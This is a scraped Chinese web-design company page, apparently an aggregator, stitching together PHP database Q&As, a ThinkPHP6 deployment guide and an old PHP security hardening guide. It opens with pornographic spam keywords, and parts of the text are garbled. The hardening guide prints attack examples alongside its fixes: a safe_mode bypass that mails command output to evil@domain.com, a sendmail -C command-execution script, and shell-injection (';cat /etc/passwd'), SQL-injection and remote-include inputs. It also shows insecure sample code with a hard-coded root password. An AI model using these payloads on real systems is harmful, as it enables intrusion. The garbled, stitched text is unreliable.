真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

php數(shù)據(jù)庫(kù)安全教學(xué),php安全編程

php怎么操作數(shù)據(jù)庫(kù)

//鏈接數(shù)據(jù)庫(kù)

創(chuàng)新互聯(lián)公司2013年成立,先為吳起等服務(wù)建站,吳起等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為吳起企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問(wèn)題。

$db=mysql_connect("localhost", "root","123456");

$sqlname="database";

mysql_select_db($sqlname,$db);

session_start();

mysql_query("SET NAMES 'utf8'",$db);

?

?

//創(chuàng)建結(jié)果集

$sql = "SELECT * FROM kecheng";

$result = mysql_query($sql);

$rs= mysql_fetch_array($result);

?

?

//修改數(shù)據(jù)

$sql = "UPDATE news SET title='1111' where news_id=1";

$result = mysql_query($sql);

?

?

//刪除數(shù)據(jù)

$sql = "DELETE from news where news_id=1";

$result = mysql_query($sql);

?

?

//添加數(shù)據(jù)

$sql = "INSERT INTO news (title,fenshu) VALUES ('a',1)"

$result = mysql_query($sql);

?

php連接sql數(shù)據(jù)庫(kù)安全

其實(shí)的問(wèn)題題目是正確的,只是這個(gè)問(wèn)題內(nèi)容有點(diǎn)讓我不理解。

數(shù)據(jù)庫(kù)鏈接SQL安全在于如何防止注入和別的溢出什么,

這些都是一個(gè)良好的編碼習(xí)慣,懂得過(guò)濾和相關(guān)的代碼規(guī)范

至于你說(shuō)的mysql 明文username password。是這樣的。

而且config文件會(huì)被下載,只有一種可能那就是你服務(wù)器問(wèn)題了。

在我們掛載的服務(wù)器上,是不可能直接讀取源文件。只有經(jīng)過(guò)服務(wù)器端編譯過(guò)后的文本會(huì)通過(guò)CGI傳輸?shù)接脩綦娔X中,這個(gè)時(shí)候看到的不是文件本身,而是編譯出來(lái)的數(shù)據(jù),至于想拿到密碼和用戶名。OK。入侵服務(wù)器吧。當(dāng)然。如果服務(wù)器夠爛。很是很快的。。

所以我覺(jué)得你的擔(dān)心是多慮的,你可以去了解下服務(wù)器對(duì)于文本的控制。

順便提點(diǎn)名詞你認(rèn)識(shí)下。。MVC,單入口模式。

希望對(duì)你有幫助,我是從事PHP開(kāi)發(fā)很久了。

php連接數(shù)據(jù)庫(kù)密碼安全的問(wèn)題

不需要,因?yàn)槟憧勺龇?wù)端及客戶端的關(guān)聯(lián),修改其一就可了,

php手把手教你做網(wǎng)站(二十九)thinkphp6部署多個(gè)數(shù)據(jù)庫(kù)

前邊介紹了負(fù)載均衡,mysql同步,接下來(lái)介紹tp6分布式部署多個(gè)數(shù)據(jù)庫(kù),實(shí)現(xiàn)讀寫(xiě)分離。

tp6的分布式部署讀和寫(xiě)仍然是一個(gè)系統(tǒng),這里我們分開(kāi)操作,給用戶展示的就是從數(shù)據(jù)庫(kù),后端添加文章就是主庫(kù),然后同步到從庫(kù)。

1、配置數(shù)據(jù)庫(kù)鏈接參數(shù)

目標(biāo):實(shí)現(xiàn)隨機(jī)使用數(shù)據(jù)庫(kù)展示信息,只是讀操作。

測(cè)試:前臺(tái)可以讀取表中內(nèi)容(存放的不一致),查看是否是隨機(jī)顯示的。

打開(kāi).env文件進(jìn)行編輯

說(shuō)明:

2、編輯database.php

找到deploy設(shè)置為1分布式部署,下邊不要改,都是讀,寫(xiě)入的也就是后端的我們單獨(dú)建站連接主庫(kù)。

配置完成,tp6使用的是mt_rand取隨機(jī)數(shù)判斷使用哪個(gè)數(shù)據(jù)庫(kù)。

3、數(shù)據(jù)庫(kù)交互寫(xiě)操作

比如瀏覽量沒(méi)必要每次都去更新數(shù)據(jù)庫(kù),可以先使用redis緩存,存夠1000的整數(shù)倍,再去更新數(shù)據(jù)庫(kù)。

4、后臺(tái)獨(dú)立,也就是寫(xiě)

可以前后端分離,單獨(dú)做一個(gè)網(wǎng)站(沒(méi)有前端)使用ip訪問(wèn)或者獨(dú)立的域名連接后臺(tái)。

5、上傳附件(jquery ajax跨域上傳)

使用了nginx負(fù)載均衡,肯定是多個(gè)一樣的網(wǎng)站,如果圖片存放到一個(gè)站,別的就不能訪問(wèn)了,可以單獨(dú)設(shè)置一個(gè)附件(壓縮包,圖片等)服務(wù)器,可以使用二級(jí)域名連接,這就要求我們上傳附件的時(shí)候,是上傳到附件服務(wù)器。

jqueryURL

API控制器apdpic方法

說(shuō)明:

也可以先傳到后臺(tái)服務(wù)器然后使用(php)ftp上傳,或者是通過(guò)curl上傳到附件服務(wù)器,感覺(jué)那樣畢竟麻煩,直接設(shè)置跨域會(huì)比較簡(jiǎn)單。

也測(cè)試了使用jsonp跨域,但是不能上傳附件。

6、thinkphp6實(shí)現(xiàn)讀寫(xiě)分離(在一個(gè)站點(diǎn))

我個(gè)人是不喜歡這樣的,負(fù)載均衡應(yīng)該是均衡地讀,也就是前臺(tái)單獨(dú)一個(gè)站點(diǎn),后端的寫(xiě)是另一個(gè)獨(dú)立的站點(diǎn),看個(gè)人喜好吧。

獨(dú)立后臺(tái)的優(yōu)點(diǎn):可以提升安全性,因?yàn)槲覀兊暮笈_(tái)網(wǎng)址是不公開(kāi)的,避免用戶猜測(cè)一些后臺(tái)的信息。

.env配置按照1所述編輯,默認(rèn)第一個(gè)是主庫(kù)。

database.php

愿大家在新的一年心想事成,萬(wàn)事如意!??!

php安全配置 如何配置使其更安全

一、Web服務(wù)器安全

PHP其實(shí)不過(guò)是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無(wú)窮無(wú)盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會(huì)帶來(lái)一定的麻煩,比如連接mysql時(shí)必須用127.0.0.1地址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問(wèn)題,因?yàn)閜hp.ini里的:

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。

二、PHP本身問(wèn)題

1、遠(yuǎn)程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高:

2、遠(yuǎn)程拒絕服務(wù)

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請(qǐng)求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。

3、safe_mode繞過(guò)漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過(guò)safe_mode限制執(zhí)行命令漏洞,4.0.5版本開(kāi)始mail函數(shù)增加了第五個(gè)參數(shù),由于設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡(jiǎn)單,只需用分號(hào)隔開(kāi)后面加shell命令就可以了,比如存在PHP腳本evil.php:

? mail("foo@bar,"foo","bar","",$bar); ?

執(zhí)行如下的URL:

;/usr/bin/id|mail evil@domain.com

這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。

對(duì)于4.0.6至4.2.2的PHP突破safe_mode限制其實(shí)是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:

?

# 注意,下面這兩個(gè)必須是不存在的,或者它們的屬主和本腳本的屬主是一樣

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?

還是使用以上有問(wèn)題版本PHP的用戶一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問(wèn)題。

三、PHP本身的安全配置

PHP的配置非常靈活,可以通過(guò)php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進(jìn)行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)置。通過(guò)phpinfo()和get_cfg_var()函數(shù)可以得到配置選項(xiàng)的各個(gè)值。

如果配置選項(xiàng)是唯一PHP_INI_SYSTEM屬性的,必須通過(guò)php.ini和httpd.conf來(lái)修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項(xiàng)是對(duì)Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項(xiàng)是對(duì)該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項(xiàng)就可以使用.htaccess文件設(shè)置,也可以通過(guò)在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對(duì)當(dāng)前目錄的腳本程序生效,ini_set()函數(shù)只對(duì)該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個(gè)版本的選項(xiàng)屬性可能不盡相同,可以用如下命令查找當(dāng)前源代碼的main.c文件得到所有的選項(xiàng),以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論P(yáng)HP安全配置之前,應(yīng)該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過(guò)php.ini或httpd.conf來(lái)設(shè)置。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定義目錄:

Directory /var/www

Options FollowSymLinks

php_admin_value safe_mode 1

/Directory

重啟apache后safe_mode就生效了。啟動(dòng)safe_mode,會(huì)對(duì)許多PHP函數(shù)進(jìn)行限制,特別是和系統(tǒng)相關(guān)的文件打開(kāi)、命令執(zhí)行等函數(shù)。

所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為:

?include("index.html")?

幾個(gè)文件的屬性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請(qǐng)求test.php會(huì)提示如下的錯(cuò)誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問(wèn)的,不知這是否是PHP的一個(gè)漏洞還是另有隱情。所以php腳本屬主這個(gè)用戶最好就只作這個(gè)用途,絕對(duì)禁止使用root做為php腳本的屬主,這樣就達(dá)不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開(kāi) safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項(xiàng):

safe_mode_gid = On

設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會(huì)被禁止。如果確實(shí)需要調(diào)用其它程序,可以在php.ini做如下設(shè)置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來(lái)執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。

safe_mode_include_dir string

當(dāng)從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來(lái)包含)包含文件時(shí)越過(guò) UID/GID 檢查。

從 PHP 4.2.0 開(kāi)始,本指令可以接受和 include_path 指令類似的風(fēng)格用分號(hào)隔開(kāi)的路徑,而不只是一個(gè)目錄。

指定的限制實(shí)際上是一個(gè)前綴,而非一個(gè)目錄名。這也就是說(shuō)“safe_mode_include_dir = /dir/incl”將允許訪問(wèn)“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問(wèn)控制在一個(gè)指定的目錄,那么請(qǐng)?jiān)诮Y(jié)尾加上一個(gè)斜線,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

設(shè)置某些環(huán)境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒(méi)е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?锨榭魷攏?沒(méi)е荒萇柚靡?PHP_ 開(kāi)頭的環(huán)境變量(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環(huán)境變量!

safe_mode_protected_env_vars string

本指令包含有一個(gè)逗號(hào)分隔的環(huán)境變量的列表,最終用戶不能用 putenv() 來(lái)改變這些環(huán)境變量。甚至在 safe_mode_allowed_env_vars 中設(shè)置了允許修改時(shí)也不能改變這些變量。

雖然safe_mode不是萬(wàn)能的(低版本的PHP可以繞過(guò)),但還是強(qiáng)烈建議打開(kāi)安全模式,在一定程度上能夠避免一些未知的攻擊。不過(guò)啟用safe_mode會(huì)有很多限制,可能對(duì)應(yīng)用帶來(lái)影響,所以還需要調(diào)整代碼和配置才能和諧。被安全模式限制或屏蔽的函數(shù)可以參考PHP手冊(cè)。

討論完safe_mode后,下面結(jié)合程序代碼實(shí)際可能出現(xiàn)的問(wèn)題討論如何通過(guò)對(duì)PHP服務(wù)器端的配置來(lái)避免出現(xiàn)的漏洞。

2、變量濫用

PHP默認(rèn)register_globals = On,對(duì)于GET, POST, Cookie, Environment, Session的變罧梢災(zāi)苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過(guò)php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒(méi)有對(duì)變量初始化的習(xí)慣,像如下的程序片斷就極易受到攻擊:

?

//test_1.php

if ($pass == "hello")

$auth = 1;

if ($auth == 1)

echo "some important information";

else

echo "nothing";

?

攻擊者只需用如下的請(qǐng)求就能繞過(guò)檢查:

這雖然是一個(gè)很弱智的錯(cuò)誤,但一些著名的程序也有犯過(guò)這種錯(cuò)誤,比如phpnuke的遠(yuǎn)程文件拷貝漏洞

PHP-4.1.0發(fā)布的時(shí)候建議關(guān)閉register_globals,并提供了7個(gè)特殊的數(shù)組變量來(lái)使用各種變量。對(duì)于從GET、POST、COOKIE等來(lái)的變量并不會(huì)直接注冊(cè)成變量,必需通過(guò)數(shù)組變量來(lái)存取。PHP-4.2.0發(fā)布的時(shí)候,php.ini默認(rèn)配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認(rèn)值,一般為0,避免了攻擊者控制判斷變量。

解決方法:

配置文件php.ini設(shè)置register_globals = Off。

要求程序員對(duì)作為判斷的變量在程序最開(kāi)始初始化一個(gè)值。

3、文件打開(kāi)

極易受攻擊的代碼片斷:

?

//test_2.php

if (!($str = readfile("$filename"))) {

echo("Could not open file: $filenameBR\n");

exit;

}

else {

echo $str;

}

?

由于攻擊者可以指定任意的$filename,攻擊者用如下的請(qǐng)求就可以看到/etc/passwd:

如下請(qǐng)求可以讀php文件本身:

PHP中文件打開(kāi)函數(shù)還有fopen(), file()等,如果對(duì)文件名變量檢查不嚴(yán)就會(huì)造成服務(wù)器重要文件被訪問(wèn)讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個(gè)例子:

Directory /usr/local/apache/htdocs

php_admin_value open_basedir /usr/local/apache/htdocs

/Directory

重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會(huì)報(bào)錯(cuò):

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問(wèn)題,前面已經(jīng)討論過(guò)了。

4、包含文件

極易受攻擊的代碼片斷:

?

//test_3.php

if(file_exists($filename))

include("$filename");

?

這種不負(fù)責(zé)任的代碼會(huì)造成相當(dāng)大的危害,攻擊者用如下請(qǐng)求可以得到/etc/passwd文件:

如果對(duì)于Unix版的PHP(Win版的PHP不支持遠(yuǎn)程打開(kāi)文件)攻擊者可以在自己開(kāi)了http或ftp服務(wù)的機(jī)器上建立一個(gè)包含shell命令的文件,的內(nèi)容是?passthru("ls /etc")?,那么如下的請(qǐng)求就可以在目標(biāo)主機(jī)執(zhí)行命令ls /etc:

攻擊者甚至可以通過(guò)包含apache的日志文件access.log和error.log來(lái)得到執(zhí)行命令的代碼,不過(guò)由于干擾信息太多,有時(shí)不易成功。

對(duì)于另外一種形式,如下代碼片斷:

?

//test_4.php

include("$lib/config.php");

?

攻擊者可以在自己的主機(jī)建立一個(gè)包含執(zhí)行命令代碼的config.php文件,然后用如下請(qǐng)求也可以在目標(biāo)主機(jī)執(zhí)行命令:

PHP的包含函數(shù)有include(), include_once(), require(), require_once。如果對(duì)包含文件名變量檢查不嚴(yán)就會(huì)對(duì)系統(tǒng)造成嚴(yán)重危險(xiǎn),可以遠(yuǎn)程執(zhí)行命令。

解決方法:

要求程序員包含文件里的參數(shù)盡量不要使用變量,如果使用變量,就一定要嚴(yán)格檢查要包含的文件名,絕對(duì)不能由用戶任意指定。

如前面文件打開(kāi)中限制PHP操作路徑是一個(gè)必要的選項(xiàng)。另外,如非特殊需要,一定要關(guān)閉PHP的遠(yuǎn)程文件打開(kāi)功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機(jī)制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時(shí)目錄(默認(rèn)是系統(tǒng)的臨時(shí)目錄,如:/tmp)里的一個(gè)類似phpxXuoXG的隨機(jī)臨時(shí)文件,程序執(zhí)行結(jié)束,該臨時(shí)文件也被刪除。PHP給上傳的文件定義了四個(gè)變量:(如form變量名是file,而且register_globals打開(kāi))

$file #就是保存到服務(wù)器端的臨時(shí)文件(如/tmp/phpxXuoXG )

$file_size #上傳文件的大小

$file_name #上傳文件的原始名稱

$file_type #上傳文件的類型

推薦使用:

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

這是一個(gè)最簡(jiǎn)單的文件上傳代碼:

?

//test_5.php

if(isset($upload) $file != "none") {

copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

echo "文件".$file_name."上傳成功!點(diǎn)擊a href=\"$PHP_SELF\"繼續(xù)上傳/a";

exit;

}

?

html

head

title文件上傳/title

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

/head

body bgcolor="#FFFFFF"

form enctype="multipart/form-data" method="post"

上傳文件:

input type="file" name="file" size="30"

input type="submit" name="upload" value="上傳"

/form

/body

/html

這樣的上傳代碼存在讀取任意文件和執(zhí)行命令的重大問(wèn)題。

下面的請(qǐng)求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個(gè)目錄必須nobody可寫(xiě))下的attack.txt文件里:

... ile_name=attack.txt

然后可以用如下請(qǐng)求讀取口令文件:

攻擊者可以把php文件拷貝成其它擴(kuò)展名,泄漏腳本源代碼。

攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫(xiě)權(quán)限的文件。

攻擊者還可以上傳PHP腳本執(zhí)行主機(jī)的命令。

解決方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù),可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統(tǒng)文件拷貝到web目錄。

使用$HTTP_POST_FILES數(shù)組來(lái)讀取用戶上傳的文件變量。

嚴(yán)格檢查上傳變量。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用copy函數(shù)把系統(tǒng)文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

把PHP腳本用phpencode進(jìn)行加密,避免由于copy操作泄漏源碼。

嚴(yán)格配置文件和目錄的權(quán)限,只允許上傳的目錄能夠讓nobody用戶可寫(xiě)。

對(duì)于上傳目錄去掉PHP解釋功能,可以通過(guò)修改httpd.conf實(shí)現(xiàn):

Directory /usr/local/apache/htdocs/upload

php_flag engine off

#如果是php3換成php3_engine off

/Directory

重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒(méi)有問(wèn)題,只能直接顯示源碼。

6、命令執(zhí)行

下面的代碼片斷是從PHPNetToolpack摘出,詳細(xì)的描述見(jiàn):

?

//test_6.php

system("traceroute $a_query",$ret_strs);

?

由于程序沒(méi)有過(guò)濾$a_query變量,所以攻擊者可以用分號(hào)來(lái)追加執(zhí)行命令。

攻擊者輸入如下請(qǐng)求可以執(zhí)行cat /etc/passwd命令:

;cat /etc/passwd

PHP的命令執(zhí)行函數(shù)還有system(), passthru(), popen()和``等。命令執(zhí)行函數(shù)非常危險(xiǎn),慎用。如果要使用一定要嚴(yán)格檢查用戶輸入。

解決方法:

要求程序員使用escapeshellcmd()函數(shù)過(guò)濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執(zhí)行命令的問(wèn)題,不過(guò)要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能繞過(guò)safe_mode的限制去執(zhí)行命令。

7、sql_inject

如下的SQL語(yǔ)句如果未對(duì)變量進(jìn)行處理就會(huì)存在問(wèn)題:

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過(guò)驗(yàn)證。

不過(guò)幸虧PHP有一個(gè)默認(rèn)的選項(xiàng)magic_quotes_gpc = On,該選項(xiàng)使得從GET, POST, COOKIE來(lái)的變量自動(dòng)加了addslashes()操作。上面SQL語(yǔ)句變成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對(duì)于數(shù)字類型的字段,很多程序員會(huì)這樣寫(xiě):

select * from test where id=$id

由于變量沒(méi)有用單引號(hào)擴(kuò)起來(lái),就會(huì)造成sql_inject攻擊。幸虧MySQL功能簡(jiǎn)單,沒(méi)有sqlserver等數(shù)據(jù)庫(kù)有執(zhí)行命令的SQL語(yǔ)句,而且PHP的mysql_query()函數(shù)也只允許執(zhí)行一條SQL語(yǔ)句,所以用分號(hào)隔開(kāi)多條SQL語(yǔ)句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語(yǔ)句出錯(cuò),泄漏系統(tǒng)的一些信息,或者一些意想不到的情況。

解決方法:

要求程序員對(duì)所有用戶提交的要放到SQL語(yǔ)句的變量進(jìn)行過(guò)濾。

即使是數(shù)字類型的字段,變量也要用單引號(hào)擴(kuò)起來(lái),MySQL自己會(huì)把字串處理成數(shù)字。

在MySQL里不要給PHP程序高級(jí)別權(quán)限的用戶,只允許對(duì)自己的庫(kù)進(jìn)行操作,這也避免了程序出現(xiàn)問(wèn)題被 SELECT INTO OUTFILE ... 這種攻擊。

8、警告及錯(cuò)誤信息

PHP默認(rèn)顯示所有的警告及錯(cuò)誤信息:

error_reporting = E_ALL ~E_NOTICE

display_errors = On

在平時(shí)開(kāi)發(fā)調(diào)試時(shí)這非常有用,可以根據(jù)警告信息馬上找到程序錯(cuò)誤所在。

正式應(yīng)用時(shí),警告及錯(cuò)誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進(jìn)一步攻擊提供了有利的信息。而且由于自己沒(méi)有訪問(wèn)到錯(cuò)誤的地方,反而不能及時(shí)修改程序的錯(cuò)誤。所以把PHP的所有警告及錯(cuò)誤信息記錄到一個(gè)日志文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯(cuò)誤所在。

修改php.ini中關(guān)于Error handling and logging部分內(nèi)容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然后重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫(xiě)。

9、disable_functions

如果覺(jué)得有些函數(shù)還有威脅,可以設(shè)置php.ini里的disable_functions(這個(gè)選項(xiàng)不能在httpd.conf里設(shè)置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多個(gè)函數(shù),用逗號(hào)分開(kāi)。重啟apache后,phpinfo, get_cfg_var函數(shù)都被禁止了。建議關(guān)閉函數(shù)phpinfo, get_cfg_var,這兩個(gè)函數(shù)容易泄漏服務(wù)器信息,而且沒(méi)有實(shí)際用處。

10、disable_classes

這個(gè)選項(xiàng)是從PHP-4.3.2開(kāi)始才有的,它可以禁用某些類,如果有多個(gè)用逗號(hào)分隔類名。disable_classes也不能在httpd.conf里設(shè)置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的時(shí)候也多次提到用open_basedir對(duì)腳本操作路徑進(jìn)行限制,這里再介紹一下它的特性。用open_basedir指定的限制實(shí)際上是前綴,不是目錄名。也就是說(shuō) "open_basedir = /dir/incl" 也會(huì)允許訪問(wèn) "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問(wèn)限制在僅為指定的目錄,用斜線結(jié)束路徑名。例如:"open_basedir = /dir/incl/"。

可以設(shè)置多個(gè)目錄,在Windows中,用分號(hào)分隔目錄。在任何其它系統(tǒng)中用冒號(hào)分隔目錄。作為Apache模塊時(shí),父目錄中的open_basedir路徑自動(dòng)被繼承。

四、其它安全配置

1、取消其它用戶對(duì)常用、重要系統(tǒng)命令的讀寫(xiě)執(zhí)行權(quán)限

一般管理員維護(hù)只需一個(gè)普通用戶和管理用戶,除了這兩個(gè)用戶,給其它用戶能夠執(zhí)行和訪問(wèn)的東西應(yīng)該越少越好,所以取消其它用戶對(duì)常用、重要系統(tǒng)命令的讀寫(xiě)執(zhí)行權(quán)限能在程序或者服務(wù)出現(xiàn)漏洞的時(shí)候給攻擊者帶來(lái)很大的迷惑。記住一定要連讀的權(quán)限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來(lái)執(zhí)行。

如果要取消某程如果是在chroot環(huán)境里,這個(gè)工作比較容易實(shí)現(xiàn),否則,這項(xiàng)工作還是有些挑戰(zhàn)的。因?yàn)槿∠恍┏绦虻膱?zhí)行權(quán)限會(huì)導(dǎo)致一些服務(wù)運(yùn)行不正常。PHP的mail函數(shù)需要/bin/sh去調(diào)用sendmail發(fā)信,所以/bin/bash的執(zhí)行權(quán)限不能去掉。這是一項(xiàng)比較累人的工作,

2、去掉apache日志其它用戶的讀權(quán)限

apache的access-log給一些出現(xiàn)本地包含漏洞的程序提供了方便之門(mén)。通過(guò)提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那么把包含文件指向access-log就可以執(zhí)行那些PHP代碼,從而獲得本地訪問(wèn)權(quán)限。

如果有其它虛擬主機(jī),也應(yīng)該相應(yīng)去掉該日志文件其它用戶的讀權(quán)限。

當(dāng)然,如果你按照前面介紹的配置PHP那么一般已經(jīng)是無(wú)法讀取日志文件了。

php在鏈接數(shù)據(jù)庫(kù)時(shí)候,代碼里需要填寫(xiě)鏈接數(shù)據(jù)庫(kù)的地址和帳號(hào)密碼,如何保證這些信息的安全

如果別人已經(jīng)可以下載你的php文件了,說(shuō)明你的服務(wù)器他可以隨便操作了,也就沒(méi)有什么安全可言了,就算你數(shù)據(jù)庫(kù)信息再保密,他也可以拿的到了,

這些要在服務(wù)器上做安全,例如,除了你本服務(wù)器外,其它IP都不可以訪問(wèn)數(shù)據(jù)庫(kù),


分享題目:php數(shù)據(jù)庫(kù)安全教學(xué),php安全編程
新聞來(lái)源:http://weahome.cn/article/phsise.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部